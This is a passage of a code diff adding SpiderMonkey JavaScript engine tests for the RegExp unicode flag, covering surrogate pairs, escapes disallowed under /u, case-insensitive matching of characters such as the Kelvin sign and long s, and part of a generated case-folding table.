+assertEq(new RegExp("[\uD83D\\uDC38]", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("[\uD83D\\u{DC38}]", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(lead), no unicode flag
+assertEqArray(new RegExp("[\\uD83D\uDC38]", "").exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped(trail), no unicode flag
+assertEqArray(new RegExp("[\uD83D\\uDC38]", "").exec("\u{1F438}"),
+ ["\uD83D"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-disallow-extended.js b/js/src/tests/non262/RegExp/unicode-disallow-extended.js
new file mode 100644
index 0000000000..01d5d244e1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-disallow-extended.js
@@ -0,0 +1,139 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- disallow extended patterns.";
+
+print(BUGNUMBER + ": " + summary);
+
+// IdentityEscape
+
+assertEqArray(/\^\$\\\.\*\+\?\(\)\[\]\{\}\|/u.exec("^$\\.*+?()[]{}|"),
+ ["^$\\.*+?()[]{}|"]);
+assertThrowsInstanceOf(() => eval(`/\\A/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\-/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\U{10}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\U0000/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\U0000/u`), SyntaxError);
+
+assertEqArray(/[\^\$\\\.\*\+\?\(\)\[\]\{\}\|]+/u.exec("^$\\.*+?()[]{}|"),
+ ["^$\\.*+?()[]{}|"]);
+assertThrowsInstanceOf(() => eval(`/[\\A]/u`), SyntaxError);
+assertEqArray(/[A\-Z]+/u.exec("a-zABC"),
+ ["-"]);
+assertThrowsInstanceOf(() => eval(`/[\\U{10}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\U0000]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\U0000]/u`), SyntaxError);
+
+// PatternCharacter
+assertThrowsInstanceOf(() => eval(`/{}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{0}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{1,}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{1,2}/u`), SyntaxError);
+
+// QuantifiableAssertion
+assertEqArray(/.B(?=A)/u.exec("cBaCBA"),
+ ["CB"]);
+assertEqArray(/.B(?!A)/u.exec("CBAcBa"),
+ ["cB"]);
+assertEqArray(/.B(?:A)/u.exec("cBaCBA"),
+ ["CBA"]);
+assertEqArray(/.B(A)/u.exec("cBaCBA"),
+ ["CBA", "A"]);
+
+assertThrowsInstanceOf(() => eval(`/.B(?=A)+/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/.B(?!A)+/u`), SyntaxError);
+assertEqArray(/.B(?:A)+/u.exec("cBaCBA"),
+ ["CBA"]);
+assertEqArray(/.B(A)+/u.exec("cBaCBA"),
+ ["CBA", "A"]);
+
+// ControlLetter
+assertEqArray(/\cA/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/\cZ/u.exec("\u001a"),
+ ["\u001a"]);
+assertEqArray(/\ca/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/\cz/u.exec("\u001a"),
+ ["\u001a"]);
+
+assertEqArray(/[\cA]/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/[\cZ]/u.exec("\u001a"),
+ ["\u001a"]);
+assertEqArray(/[\ca]/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/[\cz]/u.exec("\u001a"),
+ ["\u001a"]);
+
+assertThrowsInstanceOf(() => eval(`/\\c/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\c1/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\c_/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\c]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\c1]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\c_]/u`), SyntaxError);
+
+// HexEscapeSequence
+assertThrowsInstanceOf(() => eval(`/\\x/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\x0/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\x1/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\x1G/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\x]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\x0]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\x1]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\x1G]/u`), SyntaxError);
+
+// LegacyOctalEscapeSequence
+assertThrowsInstanceOf(() => eval(`/\\52/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\052/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\52]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\052]/u`), SyntaxError);
+
+// DecimalEscape
+assertEqArray(/\0/u.exec("\0"),
+ ["\0"]);
+assertEqArray(/[\0]/u.exec("\0"),
+ ["\0"]);
+assertEqArray(/\0A/u.exec("\0A"),
+ ["\0A"]);
+assertEqArray(/\0G/u.exec("\0G"),
+ ["\0G"]);
+assertEqArray(/(A.)\1/u.exec("ABACABAB"),
+ ["ABAB", "AB"]);
+assertEqArray(/(A.)(B.)(C.)(D.)(E.)(F.)(G.)(H.)(I.)(J.)(K.)\10/u.exec("A1B2C3D4E5F6G7H8I9JaKbJa"),
+ ["A1B2C3D4E5F6G7H8I9JaKbJa", "A1", "B2", "C3", "D4", "E5", "F6", "G7", "H8", "I9", "Ja", "Kb"]);
+
+assertThrowsInstanceOf(() => eval(`/\\00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\01/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\09/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\1/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\2/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\3/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\4/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\5/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\6/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\7/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\8/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\9/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\10/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\00]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\01]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\09]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\1]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\2]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\3]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\4]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\5]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\6]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\7]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\8]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\9]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\10]/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-everything.js b/js/src/tests/non262/RegExp/unicode-everything.js
new file mode 100644
index 0000000000..a18ac2867a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-everything.js
@@ -0,0 +1,59 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- everything Atom.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/./u.exec("ABC"),
+ ["A"]);
+assertEqArray(/./u.exec("\u{1F438}BC"),
+ ["\u{1F438}"]);
+
+assertEqArray(/./u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/./u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/./u.exec("\uD83D\uDFFF"),
+ ["\uD83D\uDFFF"]);
+assertEqArray(/./u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+assertEqArray(/./u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/./u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+assertEqArray(/./u.exec("\uD7FF\uDC38"),
+ ["\uD7FF"]);
+assertEqArray(/./u.exec("\uD800\uDC38"),
+ ["\uD800\uDC38"]);
+assertEqArray(/./u.exec("\uDBFF\uDC38"),
+ ["\uDBFF\uDC38"]);
+assertEqArray(/./u.exec("\uDC00\uDC38"),
+ ["\uDC00"]);
+assertEqArray(/./u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/./u.exec("A\uDC38"),
+ ["A"]);
+
+assertEqArray(/.A/u.exec("\uD7FF\uDC38A"),
+ ["\uDC38A"]);
+assertEqArray(/.A/u.exec("\uD800\uDC38A"),
+ ["\uD800\uDC38A"]);
+assertEqArray(/.A/u.exec("\uDBFF\uDC38A"),
+ ["\uDBFF\uDC38A"]);
+assertEqArray(/.A/u.exec("\uDC00\uDC38A"),
+ ["\uDC38A"]);
+
+// ==== leading multiple ====
+
+assertEqArray(/.*A/u.exec("\u{1F438}\u{1F438}\u{1F438}A"),
+ ["\u{1F438}\u{1F438}\u{1F438}A"]);
+
+// ==== trailing multiple ====
+
+assertEqArray(/A.*/u.exec("A\u{1F438}\u{1F438}\u{1F438}"),
+ ["A\u{1F438}\u{1F438}\u{1F438}"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-ignoreCase-ascii.js b/js/src/tests/non262/RegExp/unicode-ignoreCase-ascii.js
new file mode 100644
index 0000000000..6d453290e9
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-ignoreCase-ascii.js
@@ -0,0 +1,45 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag with non-ascii to ascii map.";
+
+print(BUGNUMBER + ": " + summary);
+
+// LATIN CAPITAL LETTER Y WITH DIAERESIS
+assertEqArray(/\u0178/iu.exec("\u00FF"),
+ ["\u00FF"]);
+assertEqArray(/\u00FF/iu.exec("\u0178"),
+ ["\u0178"]);
+
+// LATIN SMALL LETTER LONG S
+assertEqArray(/\u017F/iu.exec("S"),
+ ["S"]);
+assertEqArray(/\u017F/iu.exec("s"),
+ ["s"]);
+assertEqArray(/S/iu.exec("\u017F"),
+ ["\u017F"]);
+assertEqArray(/s/iu.exec("\u017F"),
+ ["\u017F"]);
+
+// LATIN CAPITAL LETTER SHARP S
+assertEqArray(/\u1E9E/iu.exec("\u00DF"),
+ ["\u00DF"]);
+assertEqArray(/\u00DF/iu.exec("\u1E9E"),
+ ["\u1E9E"]);
+
+// KELVIN SIGN
+assertEqArray(/\u212A/iu.exec("K"),
+ ["K"]);
+assertEqArray(/\u212A/iu.exec("k"),
+ ["k"]);
+assertEqArray(/K/iu.exec("\u212A"),
+ ["\u212A"]);
+assertEqArray(/k/iu.exec("\u212A"),
+ ["\u212A"]);
+
+// ANGSTROM SIGN
+assertEqArray(/\u212B/iu.exec("\u00E5"),
+ ["\u00E5"]);
+assertEqArray(/\u00E5/iu.exec("\u212B"),
+ ["\u212B"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-ignoreCase-escape.js b/js/src/tests/non262/RegExp/unicode-ignoreCase-escape.js
new file mode 100644
index 0000000000..d731fb6bbe
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-ignoreCase-escape.js
@@ -0,0 +1,71 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag with character class escape.";
+
+// \W doesn't match S or K from the change in
+// https://github.com/tc39/ecma262/pull/525
+// (bug 1281739)
+
+print(BUGNUMBER + ": " + summary);
+
+// LATIN SMALL LETTER LONG S
+
+assertEqArray(/\w/iu.exec("S"),
+ ["S"]);
+assertEqArray(/\w/iu.exec("s"),
+ ["s"]);
+assertEqArray(/\w/iu.exec("\u017F"),
+ ["\u017F"]);
+
+assertEqArray(/[^\W]/iu.exec("S"),
+ ["S"]);
+assertEqArray(/[^\W]/iu.exec("s"),
+ ["s"]);
+assertEqArray(/[^\W]/iu.exec("\u017F"),
+ ["\u017F"]);
+
+assertEq(/\W/iu.exec("S"),
+ null);
+assertEq(/\W/iu.exec("s"),
+ null);
+assertEq(/\W/iu.exec("\u017F"),
+ null);
+
+assertEq(/[^\w]/iu.exec("S"),
+ null);
+assertEq(/[^\w]/iu.exec("s"),
+ null);
+assertEq(/[^\w]/iu.exec("\u017F"),
+ null);
+
+// KELVIN SIGN
+
+assertEqArray(/\w/iu.exec("k"),
+ ["k"]);
+assertEqArray(/\w/iu.exec("k"),
+ ["k"]);
+assertEqArray(/\w/iu.exec("\u212A"),
+ ["\u212A"]);
+
+assertEqArray(/[^\W]/iu.exec("k"),
+ ["k"]);
+assertEqArray(/[^\W]/iu.exec("k"),
+ ["k"]);
+assertEqArray(/[^\W]/iu.exec("\u212A"),
+ ["\u212A"]);
+
+assertEq(/\W/iu.exec("k"),
+ null);
+assertEq(/\W/iu.exec("k"),
+ null);
+assertEq(/\W/iu.exec("\u212A"),
+ null);
+
+assertEq(/[^\w]/iu.exec("k"),
+ null);
+assertEq(/[^\w]/iu.exec("k"),
+ null);
+assertEq(/[^\w]/iu.exec("\u212A"),
+ null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-ignoreCase-negated.js b/js/src/tests/non262/RegExp/unicode-ignoreCase-negated.js
new file mode 100644
index 0000000000..30909a515a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-ignoreCase-negated.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag with negated character class.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(/[^A]/iu.exec("A"),
+ null);
+assertEq(/[^a]/iu.exec("A"),
+ null);
+assertEq(/[^A]/iu.exec("a"),
+ null);
+assertEq(/[^a]/iu.exec("a"),
+ null);
+
+assertEqArray(/[^A]/iu.exec("b"),
+ ["b"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-ignoreCase-word-boundary.js b/js/src/tests/non262/RegExp/unicode-ignoreCase-word-boundary.js
new file mode 100644
index 0000000000..a5698de365
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-ignoreCase-word-boundary.js
@@ -0,0 +1,46 @@
+var BUGNUMBER = 1338373;
+var summary = "Word boundary should match U+017F and U+212A in unicode+ignoreCase.";
+
+assertEq(/\b/iu.test('\u017F'), true);
+assertEq(/\b/i.test('\u017F'), false);
+assertEq(/\b/u.test('\u017F'), false);
+assertEq(/\b/.test('\u017F'), false);
+
+assertEq(/\b/iu.test('\u212A'), true);
+assertEq(/\b/i.test('\u212A'), false);
+assertEq(/\b/u.test('\u212A'), false);
+assertEq(/\b/.test('\u212A'), false);
+
+assertEq(/\B/iu.test('\u017F'), false);
+assertEq(/\B/i.test('\u017F'), true);
+assertEq(/\B/u.test('\u017F'), true);
+assertEq(/\B/.test('\u017F'), true);
+
+assertEq(/\B/iu.test('\u212A'), false);
+assertEq(/\B/i.test('\u212A'), true);
+assertEq(/\B/u.test('\u212A'), true);
+assertEq(/\B/.test('\u212A'), true);
+
+// Bug 1338779 - More testcases.
+assertEq(/(i\B\u017F)/ui.test("is"), true);
+assertEq(/(i\B\u017F)/ui.test("it"), false);
+assertEq(/(i\B\u017F)+/ui.test("is"), true);
+assertEq(/(i\B\u017F)+/ui.test("it"), false);
+
+assertEq(/(\u017F\Bi)/ui.test("si"), true);
+assertEq(/(\u017F\Bi)/ui.test("ti"), false);
+assertEq(/(\u017F\Bi)+/ui.test("si"), true);
+assertEq(/(\u017F\Bi)+/ui.test("ti"), false);
+
+assertEq(/(i\B\u212A)/ui.test("ik"), true);
+assertEq(/(i\B\u212A)/ui.test("it"), false);
+assertEq(/(i\B\u212A)+/ui.test("ik"), true);
+assertEq(/(i\B\u212A)+/ui.test("it"), false);
+
+assertEq(/(\u212A\Bi)/ui.test("ki"), true);
+assertEq(/(\u212A\Bi)/ui.test("ti"), false);
+assertEq(/(\u212A\Bi)+/ui.test("ki"), true);
+assertEq(/(\u212A\Bi)+/ui.test("ti"), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-ignoreCase.js b/js/src/tests/non262/RegExp/unicode-ignoreCase.js
new file mode 100644
index 0000000000..2cf489f310
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-ignoreCase.js
@@ -0,0 +1,2901 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 15.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag.";
+
+print(BUGNUMBER + ": " + summary);
+
+function test(code, ...equivs) {
+ var codeRe = new RegExp(String.fromCodePoint(code) + "+", "iu");
+ var ans = String.fromCodePoint(code) + equivs.map(c => String.fromCodePoint(c)).join("");
+ assertEqArray(codeRe.exec("<" + ans + ">"), [ans]);
+ codeRe = new RegExp("[" + String.fromCodePoint(code) + "]+", "iu");
+ assertEqArray(codeRe.exec("<" + ans + ">"), [ans]);
+}
+test(0x0041, 0x0061); // LATIN CAPITAL LETTER A, LATIN SMALL LETTER A
+test(0x0042, 0x0062); // LATIN CAPITAL LETTER B, LATIN SMALL LETTER B
+test(0x0043, 0x0063); // LATIN CAPITAL LETTER C, LATIN SMALL LETTER C
+test(0x0044, 0x0064); // LATIN CAPITAL LETTER D, LATIN SMALL LETTER D
+test(0x0045, 0x0065); // LATIN CAPITAL LETTER E, LATIN SMALL LETTER E
+test(0x0046, 0x0066); // LATIN CAPITAL LETTER F, LATIN SMALL LETTER F
+test(0x0047, 0x0067); // LATIN CAPITAL LETTER G, LATIN SMALL LETTER G
+test(0x0048, 0x0068); // LATIN CAPITAL LETTER H, LATIN SMALL LETTER H
+test(0x0049, 0x0069); // LATIN CAPITAL LETTER I, LATIN SMALL LETTER I
+test(0x004A, 0x006A); // LATIN CAPITAL LETTER J, LATIN SMALL LETTER J
+test(0x004B, 0x006B, 0x212A); // LATIN CAPITAL LETTER K, LATIN SMALL LETTER K, KELVIN SIGN (DEGREES KELVIN)
+test(0x004C, 0x006C); // LATIN CAPITAL LETTER L, LATIN SMALL LETTER L
+test(0x004D, 0x006D); // LATIN CAPITAL LETTER M, LATIN SMALL LETTER M
+test(0x004E, 0x006E); // LATIN CAPITAL LETTER N, LATIN SMALL LETTER N
+test(0x004F, 0x006F); // LATIN CAPITAL LETTER O, LATIN SMALL LETTER O
+test(0x0050, 0x0070); // LATIN CAPITAL LETTER P, LATIN SMALL LETTER P
+test(0x0051, 0x0071); // LATIN CAPITAL LETTER Q, LATIN SMALL LETTER Q
+test(0x0052, 0x0072); // LATIN CAPITAL LETTER R, LATIN SMALL LETTER R
+test(0x0053, 0x0073, 0x017F); // LATIN CAPITAL LETTER S, LATIN SMALL LETTER S, LATIN SMALL LETTER LONG S
+test(0x0054, 0x0074); // LATIN CAPITAL LETTER T, LATIN SMALL LETTER T
+test(0x0055, 0x0075); // LATIN CAPITAL LETTER U, LATIN SMALL LETTER U
+test(0x0056, 0x0076); // LATIN CAPITAL LETTER V, LATIN SMALL LETTER V
+test(0x0057, 0x0077); // LATIN CAPITAL LETTER W, LATIN SMALL LETTER W
+test(0x0058, 0x0078); // LATIN CAPITAL LETTER X, LATIN SMALL LETTER X
+test(0x0059, 0x0079); // LATIN CAPITAL LETTER Y, LATIN SMALL LETTER Y
+test(0x005A, 0x007A); // LATIN CAPITAL LETTER Z, LATIN SMALL LETTER Z
+test(0x0061, 0x0041); // LATIN SMALL LETTER A, LATIN CAPITAL LETTER A
+test(0x0062, 0x0042); // LATIN SMALL LETTER B, LATIN CAPITAL LETTER B
+test(0x0063, 0x0043); // LATIN SMALL LETTER C, LATIN CAPITAL LETTER C
+test(0x0064, 0x0044); // LATIN SMALL LETTER D, LATIN CAPITAL LETTER D
+test(0x0065, 0x0045); // LATIN SMALL LETTER E, LATIN CAPITAL LETTER E
+test(0x0066, 0x0046); // LATIN SMALL LETTER F, LATIN CAPITAL LETTER F
+test(0x0067, 0x0047); // LATIN SMALL LETTER G, LATIN CAPITAL LETTER G
+test(0x0068, 0x0048); // LATIN SMALL LETTER H, LATIN CAPITAL LETTER H
+test(0x0069, 0x0049); // LATIN SMALL LETTER I, LATIN CAPITAL LETTER I
+test(0x006A, 0x004A); // LATIN SMALL LETTER J, LATIN CAPITAL LETTER J
+test(0x006B, 0x004B, 0x212A); // LATIN SMALL LETTER K, LATIN CAPITAL LETTER K, KELVIN SIGN (DEGREES KELVIN)
+test(0x006C, 0x004C); // LATIN SMALL LETTER L, LATIN CAPITAL LETTER L
+test(0x006D, 0x004D); // LATIN SMALL LETTER M, LATIN CAPITAL LETTER M
+test(0x006E, 0x004E); // LATIN SMALL LETTER N, LATIN CAPITAL LETTER N
+test(0x006F, 0x004F); // LATIN SMALL LETTER O, LATIN CAPITAL LETTER O
+test(0x0070, 0x0050); // LATIN SMALL LETTER P, LATIN CAPITAL LETTER P
+test(0x0071, 0x0051); // LATIN SMALL LETTER Q, LATIN CAPITAL LETTER Q
+test(0x0072, 0x0052); // LATIN SMALL LETTER R, LATIN CAPITAL LETTER R
+test(0x0073, 0x0053, 0x017F); // LATIN SMALL LETTER S, LATIN CAPITAL LETTER S, LATIN SMALL LETTER LONG S
+test(0x0074, 0x0054); // LATIN SMALL LETTER T, LATIN CAPITAL LETTER T
+test(0x0075, 0x0055); // LATIN SMALL LETTER U, LATIN CAPITAL LETTER U
+test(0x0076, 0x0056); // LATIN SMALL LETTER V, LATIN CAPITAL LETTER V
+test(0x0077, 0x0057); // LATIN SMALL LETTER W, LATIN CAPITAL LETTER W
+test(0x0078, 0x0058); // LATIN SMALL LETTER X, LATIN CAPITAL LETTER X
+test(0x0079, 0x0059); // LATIN SMALL LETTER Y, LATIN CAPITAL LETTER Y
+test(0x007A, 0x005A); // LATIN SMALL LETTER Z, LATIN CAPITAL LETTER Z
+test(0x00B5, 0x03BC, 0x039C); // MICRO SIGN, GREEK SMALL LETTER MU, GREEK CAPITAL LETTER MU
+test(0x00C0, 0x00E0); // LATIN CAPITAL LETTER A WITH GRAVE (LATIN CAPITAL LETTER A GRAVE), LATIN SMALL LETTER A WITH GRAVE (LATIN SMALL LETTER A GRAVE)
+test(0x00C1, 0x00E1); // LATIN CAPITAL LETTER A WITH ACUTE (LATIN CAPITAL LETTER A ACUTE), LATIN SMALL LETTER A WITH ACUTE (LATIN SMALL LETTER A ACUTE)
+test(0x00C2, 0x00E2); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX (LATIN CAPITAL LETTER A CIRCUMFLEX), LATIN SMALL LETTER A WITH CIRCUMFLEX (LATIN SMALL LETTER A CIRCUMFLEX)
+test(0x00C3, 0x00E3); // LATIN CAPITAL LETTER A WITH TILDE (LATIN CAPITAL LETTER A TILDE), LATIN SMALL LETTER A WITH TILDE (LATIN SMALL LETTER A TILDE)
+test(0x00C4, 0x00E4); // LATIN CAPITAL LETTER A WITH DIAERESIS (LATIN CAPITAL LETTER A DIAERESIS), LATIN SMALL LETTER A WITH DIAERESIS (LATIN SMALL LETTER A DIAERESIS)
+test(0x00C5, 0x00E5, 0x212B); // LATIN CAPITAL LETTER A WITH RING ABOVE (LATIN CAPITAL LETTER A RING), LATIN SMALL LETTER A WITH RING ABOVE (LATIN SMALL LETTER A RING), ANGSTROM SIGN (ANGSTROM UNIT)
+test(0x00C6, 0x00E6); // LATIN CAPITAL LETTER AE (LATIN CAPITAL LETTER A E), LATIN SMALL LETTER AE (LATIN SMALL LETTER A E)
+test(0x00C7, 0x00E7); // LATIN CAPITAL LETTER C WITH CEDILLA (LATIN CAPITAL LETTER C CEDILLA), LATIN SMALL LETTER C WITH CEDILLA (LATIN SMALL LETTER C CEDILLA)
+test(0x00C8, 0x00E8); // LATIN CAPITAL LETTER E WITH GRAVE (LATIN CAPITAL LETTER E GRAVE), LATIN SMALL LETTER E WITH GRAVE (LATIN SMALL LETTER E GRAVE)
+test(0x00C9, 0x00E9); // LATIN CAPITAL LETTER E WITH ACUTE (LATIN CAPITAL LETTER E ACUTE), LATIN SMALL LETTER E WITH ACUTE (LATIN SMALL LETTER E ACUTE)
+test(0x00CA, 0x00EA); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX (LATIN CAPITAL LETTER E CIRCUMFLEX), LATIN SMALL LETTER E WITH CIRCUMFLEX (LATIN SMALL LETTER E CIRCUMFLEX)
+test(0x00CB, 0x00EB); // LATIN CAPITAL LETTER E WITH DIAERESIS (LATIN CAPITAL LETTER E DIAERESIS), LATIN SMALL LETTER E WITH DIAERESIS (LATIN SMALL LETTER E DIAERESIS)
+test(0x00CC, 0x00EC); // LATIN CAPITAL LETTER I WITH GRAVE (LATIN CAPITAL LETTER I GRAVE), LATIN SMALL LETTER I WITH GRAVE (LATIN SMALL LETTER I GRAVE)
+test(0x00CD, 0x00ED); // LATIN CAPITAL LETTER I WITH ACUTE (LATIN CAPITAL LETTER I ACUTE), LATIN SMALL LETTER I WITH ACUTE (LATIN SMALL LETTER I ACUTE)
+test(0x00CE, 0x00EE); // LATIN CAPITAL LETTER I WITH CIRCUMFLEX (LATIN CAPITAL LETTER I CIRCUMFLEX), LATIN SMALL LETTER I WITH CIRCUMFLEX (LATIN SMALL LETTER I CIRCUMFLEX)
+test(0x00CF, 0x00EF); // LATIN CAPITAL LETTER I WITH DIAERESIS (LATIN CAPITAL LETTER I DIAERESIS), LATIN SMALL LETTER I WITH DIAERESIS (LATIN SMALL LETTER I DIAERESIS)
+test(0x00D0, 0x00F0); // LATIN CAPITAL LETTER ETH, LATIN SMALL LETTER ETH
+test(0x00D1, 0x00F1); // LATIN CAPITAL LETTER N WITH TILDE (LATIN CAPITAL LETTER N TILDE), LATIN SMALL LETTER N WITH TILDE (LATIN SMALL LETTER N TILDE)
+test(0x00D2, 0x00F2); // LATIN CAPITAL LETTER O WITH GRAVE (LATIN CAPITAL LETTER O GRAVE), LATIN SMALL LETTER O WITH GRAVE (LATIN SMALL LETTER O GRAVE)
+test(0x00D3, 0x00F3); // LATIN CAPITAL LETTER O WITH ACUTE (LATIN CAPITAL LETTER O ACUTE), LATIN SMALL LETTER O WITH ACUTE (LATIN SMALL LETTER O ACUTE)
+test(0x00D4, 0x00F4); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX (LATIN CAPITAL LETTER O CIRCUMFLEX), LATIN SMALL LETTER O WITH CIRCUMFLEX (LATIN SMALL LETTER O CIRCUMFLEX)
+test(0x00D5, 0x00F5); // LATIN CAPITAL LETTER O WITH TILDE (LATIN CAPITAL LETTER O TILDE), LATIN SMALL LETTER O WITH TILDE (LATIN SMALL LETTER O TILDE)
+test(0x00D6, 0x00F6); // LATIN CAPITAL LETTER O WITH DIAERESIS (LATIN CAPITAL LETTER O DIAERESIS), LATIN SMALL LETTER O WITH DIAERESIS (LATIN SMALL LETTER O DIAERESIS)
+test(0x00D8, 0x00F8); // LATIN CAPITAL LETTER O WITH STROKE (LATIN CAPITAL LETTER O SLASH), LATIN SMALL LETTER O WITH STROKE (LATIN SMALL LETTER O SLASH)
+test(0x00D9, 0x00F9); // LATIN CAPITAL LETTER U WITH GRAVE (LATIN CAPITAL LETTER U GRAVE), LATIN SMALL LETTER U WITH GRAVE (LATIN SMALL LETTER U GRAVE)
+test(0x00DA, 0x00FA); // LATIN CAPITAL LETTER U WITH ACUTE (LATIN CAPITAL LETTER U ACUTE), LATIN SMALL LETTER U WITH ACUTE (LATIN SMALL LETTER U ACUTE)
+test(0x00DB, 0x00FB); // LATIN CAPITAL LETTER U WITH CIRCUMFLEX (LATIN CAPITAL LETTER U CIRCUMFLEX), LATIN SMALL LETTER U WITH CIRCUMFLEX (LATIN SMALL LETTER U CIRCUMFLEX)
+test(0x00DC, 0x00FC); // LATIN CAPITAL LETTER U WITH DIAERESIS (LATIN CAPITAL LETTER U DIAERESIS), LATIN SMALL LETTER U WITH DIAERESIS (LATIN SMALL LETTER U DIAERESIS)
+test(0x00DD, 0x00FD); // LATIN CAPITAL LETTER Y WITH ACUTE (LATIN CAPITAL LETTER Y ACUTE), LATIN SMALL LETTER Y WITH ACUTE (LATIN SMALL LETTER Y ACUTE)
+test(0x00DE, 0x00FE); // LATIN CAPITAL LETTER THORN, LATIN SMALL LETTER THORN
